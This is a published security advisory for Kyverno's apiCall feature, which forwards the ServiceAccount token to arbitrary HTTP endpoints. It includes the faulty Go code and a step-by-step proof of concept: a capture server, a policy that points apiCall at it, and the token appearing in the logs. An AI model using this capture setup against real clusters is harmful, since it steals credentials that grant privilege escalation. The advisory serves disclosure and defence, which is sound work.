Skip to content

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

High severity GitHub Reviewed Published Apr 15, 2026 in kyverno/kyverno • Updated Apr 16, 2026

Package

gomod github.com/kyverno/kyverno (Go)

Affected versions

< 1.17.0

Patched versions

1.17.0

Description

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.


Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

Authorization: Bearer <token>

This occurs when no explicit Authorization header is defined in the policy.

Root cause

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

This logic introduces several issues:

  • Implicit credential forwarding to arbitrary endpoints
  • No trust boundary validation (external/internal distinction)
  • Undocumented behavior
  • Header.Add instead of Set allows duplication
  • No token sanitization (potential trailing newline)

PoC

Preconditions

  • Kyverno installed (v1.17.1 tested)
  • A policy using apiCall.service.url

Step 1 — Deploy capture server

kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888

Step 2 — Create policy

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"

Step 3 — Trigger

kubectl run test --image=nginx

Step 4 — Observe token

kubectl logs capture

Output:

Authorization: Bearer <SA_TOKEN>

Impact

Vulnerability class

  • Credential exposure / leakage

Impact details

  • Exposure of Kubernetes ServiceAccount token
  • Token grants:
    • Full control over Kyverno policies
    • Ability to create/delete webhooks
    • Read cluster-wide resources
    • Privilege escalation and persistence

References

@JimBugwadia JimBugwadia published to kyverno/kyverno Apr 15, 2026
Published to the GitHub Advisory Database Apr 16, 2026
Reviewed Apr 16, 2026
Last updated Apr 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-8wfp-579w-6r25

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.